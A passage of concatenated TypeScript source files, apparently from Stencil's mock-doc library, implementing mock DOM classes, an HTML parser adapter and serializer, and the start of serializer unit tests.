elm.__attributeMap; delete elm.__shadowRoot; delete elm.__style; } function insertBefore(parentNode: MockNode, newNode: MockNode, referenceNode: MockNode | null) { if (newNode !== referenceNode) { newNode.remove(); newNode.parentNode = parentNode; newNode.ownerDocument = parentNode.ownerDocument; if (referenceNode != null) { const index = parentNode.childNodes.indexOf(referenceNode); if (index > -1) { parentNode.childNodes.splice(index, 0, newNode); } else { throw new Error(`referenceNode not found in parentNode.childNodes`); } } else { parentNode.childNodes.push(newNode); } connectNode(parentNode.ownerDocument, newNode); } return newNode; } export class MockHTMLElement extends MockElement { override __namespaceURI = 'http://www.w3.org/1999/xhtml'; constructor(ownerDocument: any, nodeName: string | null) { super(ownerDocument, typeof nodeName === 'string' ? nodeName.toUpperCase() : null); } override get tagName() { return this.nodeName ?? ''; } override set tagName(value: string) { this.nodeName = value; } /** * A node’s parent of type Element is known as its parent element. * If the node has a parent of a different type, its parent element * is null. * @returns MockElement */ override get parentElement() { if (this.nodeName === 'HTML') { return null; } return super.parentElement; } override get attributes(): MockAttributeMap { if (this.__attributeMap == null) { const attrMap = createAttributeProxy(true); this.__attributeMap = attrMap; return attrMap; } return this.__attributeMap; } override set attributes(attrs: MockAttributeMap) { this.__attributeMap = attrs; } } export class MockTextNode extends MockNode { constructor(ownerDocument: any, text: string) { super(ownerDocument, NODE_TYPES.TEXT_NODE, NODE_NAMES.TEXT_NODE, text); } override cloneNode(_deep?: boolean) { return new MockTextNode(null, this.nodeValue); } override get textContent() { return this.nodeValue; } override set textContent(text) { this.nodeValue = text; } get data() { return this.nodeValue; } set data(text) { this.nodeValue = text; } get wholeText() { if (this.parentNode != null) { const text: string[] = []; for (let i = 0, ii = this.parentNode.childNodes.length; i < ii; i++) { const childNode = this.parentNode.childNodes[i]; if (childNode.nodeType === NODE_TYPES.TEXT_NODE) { text.push(childNode.nodeValue); } } return text.join(''); } return this.nodeValue; } } function getTextContent(childNodes: MockNode[], text: string[]) { for (let i = 0, ii = childNodes.length; i < ii; i++) { const childNode = childNodes[i]; if (childNode.nodeType === NODE_TYPES.TEXT_NODE) { text.push(childNode.nodeValue); } else if (childNode.nodeType === NODE_TYPES.ELEMENT_NODE) { getTextContent(childNode.childNodes, text); } } } function setTextContent(elm: MockElement, text: string) { for (let i = elm.childNodes.length - 1; i >= 0; i--) { elm.removeChild(elm.childNodes[i]); } const textNode = new MockTextNode(elm.ownerDocument, text); elm.appendChild(textNode); } // Track currently dispatching events to prevent infinite recursion const currentlyDispatching = new WeakMap>(); /** * @param target - The element that is currently dispatching an event. * @param eventType - The type of event that is currently dispatching. * @returns True if the element is currently dispatching the event, false otherwise. */ export function isCurrentlyDispatching(target: any, eventType: string): boolean { const dispatchingEvents = currentlyDispatching.get(target); return dispatchingEvents != null && dispatchingEvents.has(eventType); } /** * @param target - The element that is currently dispatching an event. * @param eventType - The type of event that is currently dispatching. */ export function markAsDispatching(target: any, eventType: string): void { let dispatchingEvents = currentlyDispatching.get(target); if (dispatchingEvents == null) { dispatchingEvents = new Set(); currentlyDispatching.set(target, dispatchingEvents); } dispatchingEvents.add(eventType); } /** * @param target - The element that is currently dispatching an event. * @param eventType - The type of event that is currently dispatching. */ export function unmarkAsDispatching(target: any, eventType: string): void { const dispatchingEvents = currentlyDispatching.get(target); if (dispatchingEvents != null) { dispatchingEvents.delete(eventType); if (dispatchingEvents.size === 0) { currentlyDispatching.delete(target); } } } ================================================ FILE: src/mock-doc/parse-html.ts ================================================ import { MockDocument } from './document'; import { parseDocumentUtil, parseFragmentUtil } from './parse-util'; let sharedDocument: MockDocument; export function parseHtmlToDocument(html: string, ownerDocument: MockDocument = null) { if (ownerDocument == null) { if (sharedDocument == null) { sharedDocument = new MockDocument(); } ownerDocument = sharedDocument; } return parseDocumentUtil(ownerDocument, html); } export function parseHtmlToFragment(html: string, ownerDocument: MockDocument = null) { if (ownerDocument == null) { if (sharedDocument == null) { sharedDocument = new MockDocument(); } ownerDocument = sharedDocument; } return parseFragmentUtil(ownerDocument, html); } ================================================ FILE: src/mock-doc/parse-util.ts ================================================ import { type html, parse, parseFragment, type ParserOptions, type Token, type TreeAdapter, type TreeAdapterTypeMap, } from 'parse5'; import { MockComment } from './comment-node'; import { NODE_NAMES, NODE_TYPES } from './constants'; import { MockDocument } from './document'; import { MockDocumentFragment } from './document-fragment'; import { MockTemplateElement } from './element'; import { MockElement, MockNode, MockTextNode } from './node'; const docParser = new WeakMap(); export function parseDocumentUtil(ownerDocument: any, html: string) { const doc = parse(html.trim(), getParser(ownerDocument)) as any; doc.documentElement = doc.firstElementChild; doc.head = doc.documentElement.firstElementChild; doc.body = doc.head.nextElementSibling; return doc; } export function parseFragmentUtil(ownerDocument: any, html: string) { if (typeof html === 'string') { html = html.trim(); } else { html = ''; } const frag = parseFragment(html, getParser(ownerDocument)) as any; return frag; } function getParser(ownerDocument: MockDocument) { let parseOptions: ParserOptions = docParser.get(ownerDocument); if (parseOptions != null) { return parseOptions; } const treeAdapter: TreeAdapter = { createDocument() { const doc = ownerDocument.createElement(NODE_NAMES.DOCUMENT_NODE); (doc as any)['x-mode'] = 'no-quirks'; return doc; }, setNodeSourceCodeLocation(node, location) { (node as any).sourceCodeLocation = location; }, getNodeSourceCodeLocation(node) { return (node as any).sourceCodeLocation; }, createDocumentFragment() { return ownerDocument.createDocumentFragment(); }, createElement(tagName: string, namespaceURI: string, attrs: Token.Attribute[]) { const elm = ownerDocument.createElementNS(namespaceURI, tagName); for (let i = 0; i < attrs.length; i++) { const attr = attrs[i]; if (attr.namespace == null || attr.namespace === 'http://www.w3.org/1999/xhtml') { elm.setAttribute(attr.name, attr.value); } else { elm.setAttributeNS(attr.namespace, attr.name, attr.value); } } return elm; }, createCommentNode(data: string) { return ownerDocument.createComment(data); }, appendChild(parentNode: MockNode, newNode: MockNode) { parentNode.appendChild(newNode); }, insertBefore(parentNode: MockNode, newNode: MockNode, referenceNode: MockNode) { parentNode.insertBefore(newNode, referenceNode); }, setTemplateContent(templateElement: MockTemplateElement, contentElement: MockDocumentFragment) { templateElement.content = contentElement; }, getTemplateContent(templateElement: MockTemplateElement) { return templateElement.content; }, setDocumentType(doc: MockDocument, name: string, publicId: string, systemId: string) { let doctypeNode = doc.childNodes.find((n) => n.nodeType === NODE_TYPES.DOCUMENT_TYPE_NODE); if (doctypeNode == null) { doctypeNode = ownerDocument.createDocumentTypeNode(); doc.insertBefore(doctypeNode, doc.firstChild); } doctypeNode.nodeValue = '!DOCTYPE'; (doctypeNode as any)['x-name'] = name; (doctypeNode as any)['x-publicId'] = publicId; (doctypeNode as any)['x-systemId'] = systemId; }, setDocumentMode(doc: any, mode: string) { doc['x-mode'] = mode; }, getDocumentMode(doc: any) { return doc['x-mode']; }, detachNode(node: MockNode) { node.remove(); }, insertText(parentNode: MockNode, text: string) { const lastChild = parentNode.lastChild; if (lastChild != null && lastChild.nodeType === NODE_TYPES.TEXT_NODE) { lastChild.nodeValue += text; } else { parentNode.appendChild(ownerDocument.createTextNode(text)); } }, insertTextBefore(parentNode: MockNode, text: string, referenceNode: MockNode) { const prevNode = parentNode.childNodes[parentNode.childNodes.indexOf(referenceNode) - 1]; if (prevNode != null && prevNode.nodeType === NODE_TYPES.TEXT_NODE) { prevNode.nodeValue += text; } else { parentNode.insertBefore(ownerDocument.createTextNode(text), referenceNode); } }, adoptAttributes(recipient: MockElement, attrs: Token.Attribute[]) { for (let i = 0; i < attrs.length; i++) { const attr = attrs[i]; if (recipient.hasAttributeNS(attr.namespace, attr.name) === false) { recipient.setAttributeNS(attr.namespace, attr.name, attr.value); } } }, getFirstChild(node: MockNode) { return node.childNodes[0]; }, getChildNodes(node: MockNode) { return node.childNodes; }, getParentNode(node: MockNode) { return node.parentNode; }, getAttrList(element: MockElement) { const attrs: Token.Attribute[] = element.attributes.__items.map((attr): Token.Attribute => { return { name: attr.name, value: attr.value, namespace: attr.namespaceURI, prefix: null, }; }); return attrs; }, getTagName(element: MockElement) { if (element.namespaceURI === 'http://www.w3.org/1999/xhtml') { return element.nodeName.toLowerCase(); } else { return element.nodeName; } }, getNamespaceURI(element: MockElement) { // mock-doc widens the type of an element's namespace uri to 'string | null' // we use a type assertion here to adhere to parse5's type definitions return element.namespaceURI as html.NS; }, getTextNodeContent(textNode: MockTextNode) { return textNode.nodeValue; }, getCommentNodeContent(commentNode: MockComment) { return commentNode.nodeValue; }, getDocumentTypeNodeName(doctypeNode: any) { return doctypeNode['x-name']; }, getDocumentTypeNodePublicId(doctypeNode: any) { return doctypeNode['x-publicId']; }, getDocumentTypeNodeSystemId(doctypeNode: any) { return doctypeNode['x-systemId']; }, // @ts-ignore - a `MockNode` will never be assignable to a `TreeAdapterTypeMap['text']`. As a result, we cannot // complete this function signature isTextNode(node: MockNode) { return node.nodeType === NODE_TYPES.TEXT_NODE; }, // @ts-ignore - a `MockNode` will never be assignable to a `TreeAdapterTypeMap['comment']`. As a result, we cannot // complete this function signature (which requires its return type to be a type predicate) isCommentNode(node: MockNode): boolean { return node.nodeType === NODE_TYPES.COMMENT_NODE; }, // @ts-ignore - a `MockNode` will never be assignable to a `TreeAdapterTypeMap['document']`. As a result, we cannot // complete this function signature (which requires its return type to be a type predicate) isDocumentTypeNode(node: MockNode) { return node.nodeType === NODE_TYPES.DOCUMENT_TYPE_NODE; }, // @ts-ignore - a `MockNode` will never be assignable to a `TreeAdapterTypeMap['element']`. As a result, we cannot // complete this function signature (which requires its return type to be a type predicate) isElementNode(node: MockNode) { return node.nodeType === NODE_TYPES.ELEMENT_NODE; }, }; parseOptions = { treeAdapter: treeAdapter, }; docParser.set(ownerDocument, parseOptions); return parseOptions; } ================================================ FILE: src/mock-doc/parser.ts ================================================ import { MockDocument } from './document'; import { parseHtmlToDocument } from './parse-html'; export type DOMParserSupportedType = | 'text/html' | 'text/xml' | 'application/xml' | 'application/xhtml+xml' | 'image/svg+xml'; export class MockDOMParser { parseFromString(htmlToParse: string, mimeType: DOMParserSupportedType): MockDocument { if (mimeType !== 'text/html') { console.error('XML parsing not implemented yet, continuing as html'); } return parseHtmlToDocument(htmlToParse); } } ================================================ FILE: src/mock-doc/performance.ts ================================================ /** * https://developer.mozilla.org/en-US/docs/Web/API/Performance */ export class MockPerformance implements Performance { timeOrigin: number; eventCounts: EventCounts; constructor() { this.timeOrigin = Date.now(); this.eventCounts = new Map(); } addEventListener() { // } clearMarks() { // } clearMeasures() { // } clearResourceTimings() { // } dispatchEvent() { return true; } getEntries() { return [] as any; } getEntriesByName() { return [] as any; } getEntriesByType() { return [] as any; } // Stencil's implementation of `mark` is non-compliant with the `Performance` interface. Because Stencil will // instantiate an instance of this class and may attempt to assign it to a variable of type `Performance`, the return // type must match the `Performance` interface (rather than typing this function as returning `void` and ignoring the // associated errors returned by the type checker) // @ts-ignore mark(): PerformanceMark { // } // Stencil's implementation of `measure` is non-compliant with the `Performance` interface. Because Stencil will // instantiate an instance of this class and may attempt to assign it to a variable of type `Performance`, the return // type must match the `Performance` interface (rather than typing this function as returning `void` and ignoring the // associated errors returned by the type checker) // @ts-ignore measure(): PerformanceMeasure { // } get navigation() { return {} as any; } now() { return Date.now() - this.timeOrigin; } get onresourcetimingbufferfull() { return null as any; } removeEventListener() { // } setResourceTimingBufferSize() { // } get timing() { return {} as any; } toJSON() { // } } export function resetPerformance(perf: Performance) { if (perf != null) { try { (perf as MockPerformance).timeOrigin = Date.now(); } catch (e) {} } } ================================================ FILE: src/mock-doc/request-response.ts ================================================ import { MockHeaders } from './headers'; export type MockRequestInfo = MockRequest | string; export interface MockRequestInit { body?: any; cache?: string; credentials?: string; headers?: any; integrity?: string; keepalive?: boolean; method?: string; mode?: string; redirect?: string; referrer?: string; referrerPolicy?: string; } export class MockRequest { private _method = 'GET'; private _url = '/'; bodyUsed = false; cache = 'default'; credentials = 'same-origin'; headers: MockHeaders; integrity = ''; keepalive = false; mode = 'cors'; redirect = 'follow'; referrer = 'about:client'; referrerPolicy = ''; constructor(input?: any, init: MockRequestInit = {}) { if (typeof input === 'string') { this.url = input; } else if (input) { Object.assign(this, input); this.headers = new MockHeaders(input.headers); } Object.assign(this, init); if (init.headers) { this.headers = new MockHeaders(init.headers); } if (!this.headers) { this.headers = new MockHeaders(); } } get url() { if (typeof this._url === 'string') { return new URL(this._url, location.href).href; } return new URL('/', location.href).href; } set url(value: string) { this._url = value; } get method() { if (typeof this._method === 'string') { return this._method.toUpperCase(); } return 'GET'; } set method(value: string) { this._method = value; } clone() { const clone = { ...this }; clone.headers = new MockHeaders(this.headers); return new MockRequest(clone); } } // ReSPONSE export interface MockResponseInit { headers?: any; ok?: boolean; status?: number; statusText?: string; type?: string; url?: string; } export class MockResponse { private _body: string; headers: MockHeaders; ok = true; status = 200; statusText = ''; type = 'default'; url = ''; constructor(body?: string, init: MockResponseInit = {}) { this._body = body; if (init) { Object.assign(this, init); } this.headers = new MockHeaders(init.headers); } async json() { return JSON.parse(this._body); } async text() { return this._body; } clone() { const initClone = { ...this }; initClone.headers = new MockHeaders(this.headers); return new MockResponse(this._body, initClone); } } ================================================ FILE: src/mock-doc/resize-observer.ts ================================================ export class MockResizeObserver { constructor() { /**/ } disconnect() { /**/ } observe() { /**/ } takeRecords(): any[] { return []; } unobserve() { /**/ } } ================================================ FILE: src/mock-doc/selector.ts ================================================ import { MockElement } from './node'; import jQuery from './third-party/jquery'; /** * Check whether an element of interest matches a given selector. * * @param selector the selector of interest * @param elm an element within which to find matching elements * @returns whether the element matches the selector */ export function matches(selector: string, elm: MockElement): boolean { try { const r = jQuery.find(selector, undefined, undefined, [elm]); return r.length > 0; } catch (e) { updateSelectorError(selector, e); throw e; } } /** * Select the first element that matches a given selector * * @param selector the selector of interest * @param elm the element within which to find a matching element * @returns the first matching element, or null if none is found */ export function selectOne(selector: string, elm: MockElement) { try { const r = jQuery.find(selector, elm, undefined, undefined); return r[0] || null; } catch (e) { updateSelectorError(selector, e); throw e; } } /** * Select all elements that match a given selector * * @param selector the selector of interest * @param elm an element within which to find matching elements * @returns all matching elements */ export function selectAll(selector: string, elm: MockElement): any { try { return jQuery.find(selector, elm, undefined, undefined); } catch (e) { updateSelectorError(selector, e); throw e; } } /** * A manifest of selectors which are known to be problematic in jQuery. See * here to track implementation and support: * https://github.com/jquery/jquery/issues/5111 */ export const PROBLEMATIC_SELECTORS = [':scope', ':where', ':is'] as const; /** * Given a selector and an error object thrown by jQuery, annotate the * error's message to add some context as to the probable reason for the error. * In particular, if the selector includes a selector which is known to be * unsupported in jQuery, then we know that was likely the cause of the * error. * * @param selector our selector of interest * @param e an error object that was thrown in the course of using jQuery */ function updateSelectorError(selector: string, e: unknown) { const selectorsPresent = PROBLEMATIC_SELECTORS.filter((s) => selector.includes(s)); if (selectorsPresent.length > 0 && (e as Error).message) { (e as Error).message = `At present jQuery does not support the ${humanReadableList(selectorsPresent)} ${selectorsPresent.length === 1 ? 'selector' : 'selectors'}. If you need this in your test, consider writing an end-to-end test instead.\n` + (e as Error).message; } } /** * Format a list of strings in a 'human readable' way. * * - If one string (['string']), return 'string' * - If two strings (['a', 'b']), return 'a and b' * - If three or more (['a', 'b', 'c']), return 'a, b and c' * * @param items a list of strings to format * @returns a formatted string */ function humanReadableList(items: string[]): string { if (items.length <= 1) { return items.join(''); } return `${items.slice(0, items.length - 1).join(', ')} and ${items[items.length - 1]}`; } ================================================ FILE: src/mock-doc/serialize-node.ts ================================================ import { CONTENT_REF_ID, HYDRATE_ID, ORG_LOCATION_ID, SLOT_NODE_ID, TEXT_NODE_ID, XLINK_NS, } from '../runtime/runtime-constants'; import { cloneAttributes } from './attribute'; import { NODE_TYPES } from './constants'; import { type MockDocument } from './document'; import { type MockNode } from './node'; /** * Set default values for serialization options. * @param opts options to control serialization behavior * @returns normalized serialization options */ function normalizeSerializationOptions(opts: Partial = {}) { return { ...opts, outerHtml: typeof opts.outerHtml !== 'boolean' ? false : opts.outerHtml, ...(opts.prettyHtml ? { indentSpaces: typeof opts.indentSpaces !== 'number' ? 2 : opts.indentSpaces, newLines: typeof opts.newLines !== 'boolean' ? true : opts.newLines, } : { prettyHtml: false, indentSpaces: typeof opts.indentSpaces !== 'number' ? 0 : opts.indentSpaces, newLines: typeof opts.newLines !== 'boolean' ? false : opts.newLines, }), approximateLineWidth: typeof opts.approximateLineWidth !== 'number' ? -1 : opts.approximateLineWidth, removeEmptyAttributes: typeof opts.removeEmptyAttributes !== 'boolean' ? true : opts.removeEmptyAttributes, removeAttributeQuotes: typeof opts.removeAttributeQuotes !== 'boolean' ? false : opts.removeAttributeQuotes, removeBooleanAttributeQuotes: typeof opts.removeBooleanAttributeQuotes !== 'boolean' ? false : opts.removeBooleanAttributeQuotes, removeHtmlComments: typeof opts.removeHtmlComments !== 'boolean' ? false : opts.removeHtmlComments, serializeShadowRoot: typeof opts.serializeShadowRoot === 'undefined' ? 'declarative-shadow-dom' : opts.serializeShadowRoot, fullDocument: typeof opts.fullDocument !== 'boolean' ? true : opts.fullDocument, } as const; } /** * Serialize a node (either a DOM node or a mock-doc node) to an HTML string. * This operation is similar to `outerHTML` but allows for more control over the * serialization process. It is fully synchronous meaning that it will not * wait for a component to be fully rendered before serializing it. Use `streamToHtml` * for a streaming version of this function. * * @param elm the node to serialize * @param serializationOptions options to control serialization behavior * @returns an html string */ export function serializeNodeToHtml(elm: Node | MockNode, serializationOptions: SerializeNodeToHtmlOptions = {}) { const opts = normalizeSerializationOptions(serializationOptions); const output: SerializeOutput = { currentLineWidth: 0, indent: 0, isWithinBody: false, text: [], }; let renderedNode = ''; const children = !opts.fullDocument && (elm as MockDocument).body ? Array.from((elm as MockDocument).body.childNodes) : opts.outerHtml ? [elm] : Array.from(getChildNodes(elm)); for (let i = 0, ii = children.length; i < ii; i++) { const child = children[i]; const chunks = Array.from(streamToHtml(child, opts, output)); renderedNode += chunks.join(''); } return renderedNode.trim(); } const shadowRootTag = 'mock:shadow-root'; /** * Same as `serializeNodeToHtml` but returns a generator that yields the serialized * HTML in chunks. This is useful for streaming the serialized HTML to the client * as it is being generated. * * @param node the node to serialize * @param opts options to control serialization behavior * @param output keeps track of the current line width and indentation * @returns a generator that yields the serialized HTML in chunks */ function* streamToHtml( node: Node | MockNode, opts: SerializeNodeToHtmlOptions, output: Omit, ): Generator { const isShadowRoot = node.nodeType === NODE_TYPES.DOCUMENT_FRAGMENT_NODE; if (node.nodeType === NODE_TYPES.ELEMENT_NODE || isShadowRoot) { const tagName = isShadowRoot ? shadowRootTag : getTagName(node as Element); if (tagName === 'body') { output.isWithinBody = true; } const ignoreTag = opts.excludeTags != null && opts.excludeTags.includes(tagName); if (ignoreTag === false) { const isWithinWhitespaceSensitiveNode = opts.newLines || (opts.indentSpaces ?? 0) > 0 ? isWithinWhitespaceSensitive(node) : false; if (opts.newLines && !isWithinWhitespaceSensitiveNode) { yield '\n'; output.currentLineWidth = 0; } if ((opts.indentSpaces ?? 0) > 0 && !isWithinWhitespaceSensitiveNode) { for (let i = 0; i < output.indent; i++) { yield ' '; } output.currentLineWidth += output.indent; } const tag = tagName === shadowRootTag ? 'template' : tagName; yield '<' + tag; output.currentLineWidth += tag.length + 1; /** * ToDo(https://github.com/stenciljs/core/issues/4111): the shadow root class is `#document-fragment` * and has no mode attribute. We should consider adding a mode attribute. */ if ( tag === 'template' && (!(node as Element).getAttribute || !(node as Element).getAttribute('shadowrootmode')) && /** * If the node is a shadow root, we want to add the `shadowrootmode` attribute */ ('host' in node || node.nodeName.toLocaleLowerCase() === shadowRootTag) ) { const mode = ` shadowrootmode="open"`; yield mode; output.currentLineWidth += mode.length; if ((node as any).delegatesFocus) { const delegatesFocusAttr = ' shadowrootdelegatesfocus'; yield delegatesFocusAttr; output.currentLineWidth += delegatesFocusAttr.length; } } const attrsLength = (node as HTMLElement).attributes.length; const attributes = opts.prettyHtml && attrsLength > 1 ? cloneAttributes((node as HTMLElement).attributes as any, true) : (node as Element).attributes; for (let i = 0; i < attrsLength; i++) { const attr = attributes.item(i)!; const attrName = attr.name; if (attrName === 'style') { continue; } // Skip shadowrootmode and shadowrootdelegatesfocus attributes when they've already been // added from the shadow root's properties (to avoid duplication) if ( tag === 'template' && isShadowRoot && (attrName === 'shadowrootmode' || attrName === 'shadowrootdelegatesfocus') ) { continue; } let attrValue = attr.value; if (opts.removeEmptyAttributes && attrValue === '' && REMOVE_EMPTY_ATTR.has(attrName)) { continue; } const attrNamespaceURI = attr.namespaceURI; if (attrNamespaceURI == null) { output.currentLineWidth += attrName.length + 1; if ( opts.approximateLineWidth && opts.approximateLineWidth > 0 && output.currentLineWidth > opts.approximateLineWidth ) { yield '\n' + attrName; output.currentLineWidth = 0; } else { yield ' ' + attrName; } } else if (attrNamespaceURI === 'http://www.w3.org/XML/1998/namespace') { yield ' xml:' + attrName; output.currentLineWidth += attrName.length + 5; } else if (attrNamespaceURI === 'http://www.w3.org/2000/xmlns/') { if (attrName !== 'xmlns') { yield ' xmlns:' + attrName; output.currentLineWidth += attrName.length + 7; } else { yield ' ' + attrName; output.currentLineWidth += attrName.length + 1; } } else if (attrNamespaceURI === XLINK_NS) { yield ' xlink:' + attrName; output.currentLineWidth += attrName.length + 7; } else { yield ' ' + attrNamespaceURI + ':' + attrName; output.currentLineWidth += attrNamespaceURI.length + attrName.length + 2; } if (opts.prettyHtml && attrName === 'class') { attrValue = attr.value = attrValue .split(' ') .filter((t) => t !== '') .sort() .join(' ') .trim(); } if (attrValue === '') { // shadowrootdelegatesfocus should always be rendered as a boolean attribute (no value) if (attrName === 'shadowrootdelegatesfocus') { continue; } if (opts.removeBooleanAttributeQuotes && BOOLEAN_ATTR.has(attrName)) { continue; } if (opts.removeEmptyAttributes && attrName.startsWith('data-')) { continue; } } if (opts.removeAttributeQuotes && CAN_REMOVE_ATTR_QUOTES.test(attrValue)) { yield '=' + escapeString(attrValue, true); output.currentLineWidth += attrValue.length + 1; } else { yield '="' + escapeString(attrValue, true) + '"'; output.currentLineWidth += attrValue.length + 3; } } if ((node as Element).hasAttribute('style')) { const cssText = (node as HTMLElement).style.cssText; if ( opts.approximateLineWidth && opts.approximateLineWidth > 0 && output.currentLineWidth + cssText.length + 10 > opts.approximateLineWidth ) { yield `\nstyle="${cssText}">`; output.currentLineWidth = 0; } else { yield ` style="${cssText}">`; output.currentLineWidth += cssText.length + 10; } } else { yield '>'; output.currentLineWidth += 1; } } if (EMPTY_ELEMENTS.has(tagName) === false) { const shadowRoot = (node as HTMLElement).shadowRoot; if (shadowRoot != null && opts.serializeShadowRoot !== false) { output.indent = output.indent + (opts.indentSpaces ?? 0); yield* streamToHtml(shadowRoot, opts, output); output.indent = output.indent - (opts.indentSpaces ?? 0); const childNodes = getChildNodes(node); if ( opts.newLines && (childNodes.length === 0 || (childNodes.length === 1 && childNodes[0].nodeType === NODE_TYPES.TEXT_NODE && childNodes[0].nodeValue?.trim() === '')) ) { yield '\n'; output.currentLineWidth = 0; for (let i = 0; i < output.indent; i++) { yield ' '; } output.currentLineWidth += output.indent; } } if (opts.excludeTagContent == null || opts.excludeTagContent.includes(tagName) === false) { const tag = tagName === shadowRootTag ? 'template' : tagName; const childNodes = tagName === 'template' ? ((node as any as HTMLTemplateElement).content.childNodes as any) : getChildNodes(node); const childNodeLength = childNodes.length; if (childNodeLength > 0) { if ( childNodeLength === 1 && childNodes[0].nodeType === NODE_TYPES.TEXT_NODE && (typeof childNodes[0].nodeValue !== 'string' || childNodes[0].nodeValue.trim() === '') ) { // skip over empty text nodes } else { const isWithinWhitespaceSensitiveNode = opts.newLines || (opts.indentSpaces ?? 0) > 0 ? isWithinWhitespaceSensitive(node) : false; if (!isWithinWhitespaceSensitiveNode && (opts.indentSpaces ?? 0) > 0 && ignoreTag === false) { output.indent = output.indent + (opts.indentSpaces ?? 0); } for (let i = 0; i < childNodeLength; i++) { /** * In cases where a user would pass in a declarative shadow dom of a * Stencil component, we want to skip over the template tag as we * will be parsing the shadow root of the component again. * * We know it is a hydrated Stencil component by checking if the `HYDRATE_ID` * is set on the node. */ const sId = (node as HTMLElement).attributes.getNamedItem(HYDRATE_ID); const isStencilDeclarativeShadowDOM = childNodes[i].nodeName.toLowerCase() === 'template' && sId; if (isStencilDeclarativeShadowDOM) { yield `\n${' '.repeat(output.indent)}`; continue; } yield* streamToHtml(childNodes[i], opts, output); } if (ignoreTag === false) { if (opts.newLines && !isWithinWhitespaceSensitiveNode) { yield '\n'; output.currentLineWidth = 0; } if ((opts.indentSpaces ?? 0) > 0 && !isWithinWhitespaceSensitiveNode) { output.indent = output.indent - (opts.indentSpaces ?? 0); for (let i = 0; i < output.indent; i++) { yield ' '; } output.currentLineWidth += output.indent; } } } } if (ignoreTag === false) { yield ''; output.currentLineWidth += tag.length + 3; } } } if ((opts.approximateLineWidth ?? 0) > 0 && STRUCTURE_ELEMENTS.has(tagName)) { yield '\n'; output.currentLineWidth = 0; } if (tagName === 'body') { output.isWithinBody = false; } } else if (node.nodeType === NODE_TYPES.TEXT_NODE) { let textContent = node.nodeValue; if (typeof textContent === 'string') { const trimmedTextContent = textContent.trim(); if (trimmedTextContent === '') { // this text node is whitespace only if (isWithinWhitespaceSensitive(node)) { // whitespace matters within this element // just add the exact text we were given yield textContent; output.currentLineWidth += textContent.length; } else if ((opts.approximateLineWidth ?? 0) > 0 && !output.isWithinBody) { // do nothing if we're not in the and we're tracking line width } else if (!opts.prettyHtml) { // this text node is only whitespace, and it's not // within a whitespace sensitive element like
 or 
          // so replace the entire white space with a single new line
          output.currentLineWidth += 1;

          if (
            opts.approximateLineWidth &&
            opts.approximateLineWidth > 0 &&
            output.currentLineWidth > opts.approximateLineWidth
          ) {
            // good enough for a new line
            // for perf these are all just estimates
            // we don't care to ensure exact line lengths
            yield '\n';
            output.currentLineWidth = 0;
          } else {
            // let's keep it all on the same line yet
            yield ' ';
          }
        }
      } else {
        // this text node has text content
        const isWithinWhitespaceSensitiveNode =
          opts.newLines || (opts.indentSpaces ?? 0) > 0 || opts.prettyHtml ? isWithinWhitespaceSensitive(node) : false;
        if (opts.newLines && !isWithinWhitespaceSensitiveNode) {
          yield '\n';
          output.currentLineWidth = 0;
        }

        if ((opts.indentSpaces ?? 0) > 0 && !isWithinWhitespaceSensitiveNode) {
          for (let i = 0; i < output.indent; i++) {
            yield ' ';
          }
          output.currentLineWidth += output.indent;
        }

        let textContentLength = textContent.length;
        if (textContentLength > 0) {
          // this text node has text content

          const parentTagName =
            node.parentNode != null && node.parentNode.nodeType === NODE_TYPES.ELEMENT_NODE
              ? node.parentNode.nodeName
              : null;
          if (typeof parentTagName === 'string' && NON_ESCAPABLE_CONTENT.has(parentTagName)) {
            // this text node cannot have its content escaped since it's going
            // into an element like `;
    doc.body.innerHTML = input;

    const output = serializeNodeToHtml(doc.body);
    expect(output).toBe(``);
  });

  it('template', () => {
    const input = ``;
    doc.body.innerHTML = input;

    const output = serializeNodeToHtml(doc.body);
    expect(output).toBe(``);
  });

  it('svg', () => {
    const input = ``;
    doc.body.innerHTML = input;

    const output = serializeNodeToHtml(doc.body);
    expect(input).toBe(output);
  });

  it('remove boolean attributes', () => {
    const input = ``;
    doc.body.innerHTML = input;

    const output = serializeNodeToHtml(doc.body, { removeBooleanAttributeQuotes: true });
    expect(output).toBe(``);
  });

  it('do not collapse boolean attributes', () => {
    const input = ``;
    doc.body.innerHTML = input;

    const output = serializeNodeToHtml(doc.body);
    expect(input).toBe(output);
  });

  it('do not remove empty attrs', () => {
    const elm = doc.createElement('button');

    elm.setAttribute('class', '');
    elm.setAttribute('dir', '');
    elm.setAttribute('my-attr', '');
    elm.setAttribute('id', '');
    elm.setAttribute('data-custom', '');
    elm.setAttribute('lang', '');
    elm.setAttribute('name', '');
    elm.setAttribute('title', '');

    const html = serializeNodeToHtml(elm, { outerHtml: true, removeEmptyAttributes: false });
    expect(html).toBe(``);
  });

  it('remove empty attrs', () => {
    const elm = doc.createElement('button');

    elm.setAttribute('class', '');
    elm.setAttribute('dir', '');
    elm.setAttribute('my-attr', '');
    elm.setAttribute('id', '');
    elm.setAttribute('data-custom', '');
    elm.setAttribute('lang', '');
    elm.setAttribute('name', '');
    elm.setAttribute('title', '');

    const html = serializeNodeToHtml(elm, { outerHtml: true });
    expect(html).toBe(``);
  });

  it('set attributes, pretty', () => {
    const elm = doc.createElement('button');
    elm.setAttribute('type', 'submit');
    elm.setAttribute('id', 'btn');
    elm.textContent = `Text`;
    const html = serializeNodeToHtml(elm, { outerHtml: true, prettyHtml: true });
    expect(html).toBe(``);
  });

  it('set attributes', () => {
    const elm = doc.createElement('button');
    elm.setAttribute('type', 'submit');
    elm.setAttribute('id', 'btn');
    elm.textContent = `Text`;
    const html = serializeNodeToHtml(elm, { outerHtml: true });
    expect(html).toBe(``);
  });

  it('do not escape scripts', () => {
    const elm = doc.createElement('script');
    elm.innerHTML = `if (true && false) { console.log('hi); }`;
    const html = serializeNodeToHtml(elm, { outerHtml: true });
    expect(html).toBe(``);
  });

  it('empty document', () => {
    const html = serializeNodeToHtml(doc);
    expect(html).toBe(``);
  });

  it('empty document, pretty', () => {
    const html = serializeNodeToHtml(doc, { prettyHtml: true });
    expect(html).toBe(`

  
  
`);
  });

  it('script innerHTML', () => {
    const input = `xb`;
    const scriptElm = doc.createElement('script');
    scriptElm.innerHTML = input;
    expect(scriptElm.innerHTML).toBe(input);
  });

  it.each([...EMPTY_ELEMENTS])("does not add a closing tag for '%s'", (voidElm) => {
    if (voidElm === 'frame') {
      // 'frame' is a non-HTML5 compatible/deprecated element.
      // Stencil technically still supports it, but it doesn't get rendered as a child element, so let's just skip it
      return;
    }

    const elm = doc.createElement('div');

    elm.innerHTML = `<${voidElm}>`;

